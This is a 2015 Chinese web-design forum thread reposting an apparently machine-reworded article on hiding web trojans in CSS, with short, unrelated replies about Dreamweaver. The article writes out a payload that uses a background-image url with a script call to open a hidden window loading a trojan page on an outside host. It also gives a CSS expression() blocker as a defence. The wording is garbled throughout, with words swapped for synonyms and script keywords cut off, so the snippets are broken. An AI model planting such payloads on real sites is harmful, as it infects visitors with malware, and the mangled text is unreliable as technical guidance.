仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 741|回复: 8
打印 上一主题 下一主题

[DIV+CSS] DIV教程之懂得CSS挂马及响应提防办法

[复制链接]
不帅 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 10:31:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
以下的内容是一位网友的DIVCSS编码笔记,是值得大家学习的,在实际工作与开发中,将工作中的点滴记录下来,回首这些过往,你也会收获很多



用来制造网页殊效的CSS代码,也能够用来挂马。

跟着Web2.0的提高,各类网页殊效用得愈来愈多,这也给黑客一个无隙可乘。他们发明,用来制造网页殊效的CSS代码,也能够用来挂马。而对照取笑的是,CSS挂马体例实际上是从提防E挂马的CSS代码演化而来。
网站挂马的手腕最后十分单一,可是跟着Web2.0手艺和Blog、Wiki等普遍的使用,挂马也出现出林林总总的手艺,个中CSS挂马体例,能够说是Web2.0时期黑客的最爱。有很多十分出名的网站都被黑客用CSS挂马进侵过。
倡议人人在点击生疏链接时,要多个心眼,年夜网站也是大概被挂马的。人人在上彀时,最好仍是利用一些带网页木马拦阻功效的平安帮助工具。
黑客为何选择CSS挂马?
在Web1.0时期,利用E挂马关于黑客而言,与其说是为了更好地完成木马的埋没,倒不如说是迫不得已的一个选择。在复杂的HTML网页和缺少交互性的网站中,黑客能够使用的手腕也十分无限,即便接纳了庞大的假装,也很简单被看破,还不如E来得间接和无效。
但现在交互式的Web2.0网站愈来愈多,同意用户设置与修正的博客、SNS社区等纷繁呈现。这些互动性十分强的社区和博客中,常常会供应丰厚的功效,而且会同意用户利用CSS层叠款式表来对网站的网页举行自在的修正,这促使了CSS挂马盛行。
小百科:
CSS是层叠款式表(CascadingStyleSheets)的英文缩写。CSS最次要的目标是将文件的布局(用HTML或其他相干言语写的)与文件的显现分开开来。这个分开可让文件的可读性失掉增强、文件的布局加倍天真。
黑客在使用CSS挂马时,常常是借着网平易近对某些年夜网站的信托,将CSS歹意代码挂到博客大概其他撑持CSS的网页中,当网平易近在会见该网页时歹意代码就会实行。这就好像你往一家出名且证照完全的年夜病院看病,你十分信托病院,可是你所看的门诊却已被庸医外包了上去,而且打着病院的名义使用你的信托乐成棍骗了你。可是当你过后往找人算账时,病院此时也常常一脸无辜。关于平安工程师而言,CSS挂马的排查是必备知识。
CSS挂马攻防实录
攻CSS挂马体例较多,但支流的体例是经由过程有毛病的博客大概SNS交际网站体系,将歹意的CSS代码写进撑持CSS功效的本性化页面中。上面我们以典范的CSS挂马体例为例举行解说。
体例1:
Body
“background-image”在CSS中的次要功效是用来界说页面的背景图片。这是最典范的CSS挂马体例,这段歹意代码次要是经由过程“background-image”共同t代码让网页木马悄然地在用户的电脑中运转。
那怎样将这段CSS歹意代码挂到一般的网页中往呢?黑客能够将天生好的网页木马放到本人指定的地位,然后将该段歹意代码写进挂马网站的网页中,大概挂马网页所挪用的CSS文件中。
小百科:
利用Body工具元素,次要是为了让工具不再改动全部网页文档的内容,经由过程Body工具的把持,能够将内容大概效果把持在指定的巨细内,好像利用DIV工具那样准确地设置巨细。
体例2:
Body
background-image:url(t:open("http://www.X.com/muma.htm","newwindow","border="1"Height=0,Width=0,top=1000,center=0,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no"))
体例1的CSS挂马手艺,在运转时会呈现空缺的页面,影响网页会见者一般的会见,因而对照简单发明。不外在体例2中的这段代码,利用了t的Open开窗,经由过程新开一个埋没的窗口,在背景悄然地运转新窗口并激活会见网页溢出木马页面,不会影响会见者寓目网页内容,因而加倍潜伏。
防收集服务器被挂马,一般会呈现防病毒软件告警之类的信息。因为毛病不休更新,挂马品种时候都在变更,经由过程客户真个反应来发明服务器是不是被挂马常常疏漏较年夜。准确的做法是常常反省服务器日记,发明非常信息,常常反省网站代码,利用网页木马检测体系,举行排查。
今朝除利用之前的阻断弹出窗口提防CSS挂马以外,还能够在网页中设置CSS过滤,将CSS过滤失落。不外假如你选择过滤CSS的话,起首必要寄望本人的相干网页是不是有CSS的内容,因而我们仍旧首推用阻断体例来提防CSS。阻断代码以下所示:
emiao1:expression(this.src="about:blank",this.outerHTML="");


最近在做一个魔术网的div+css切割,昨晚发现了长期以来一直无记录下来的问题!关于兼容IE跟FF的float属性。
精灵巫婆 该用户已被删除
沙发
发表于 2015-1-18 06:47:46 | 只看该作者
所见则所得网页编辑器的优点就是直观性,使用方便,容易上手.
金色的骷髅 该用户已被删除
板凳
发表于 2015-1-22 07:00:43 | 只看该作者
时间轴)窗口--时间轴--选中图层并拖图层到时间轴,将其放在指定帧上
小妖女 该用户已被删除
地板
发表于 2015-1-30 23:42:29 | 只看该作者
在刚开始接触网页的第一堂课上,听说网页制作会是一门很无聊并且很难听懂的过程,而事实却印证了这样一个事实。
因胸联盟 该用户已被删除
5#
发表于 2015-2-6 17:11:00 | 只看该作者
学Dreamweaver技术的过程其实是一个增加信心的过程。
分手快乐 该用户已被删除
6#
发表于 2015-2-17 17:10:08 | 只看该作者
Dreamweaver由MX版本开始使用Opera软件公司的排版引擎“Presto”作为网页预览。
只想知道 该用户已被删除
7#
发表于 2015-3-5 21:35:41 | 只看该作者
布局表格、绘制层、制作CSS样式表等,这些内容迷糊了我的视线,真是没想到制作一个精巧别致的网页是如此的困难,可是心有不甘。
若天明 该用户已被删除
8#
发表于 2015-3-12 15:48:07 | 只看该作者
俗话说:兴趣是最好的老师。做每一件事都离不开兴趣的驱动。兴趣是自学技术需要迈出的第一步。在学习的过程中,我们难免会遇到各种各样的问题。
深爱那片海 该用户已被删除
9#
发表于 2015-3-19 23:43:50 | 只看该作者
Dreamweaver在所见即所得添加链接时,可以在选中文字后在属性栏中的链接栏中直接输入文件的地址即可。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-24 01:11

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表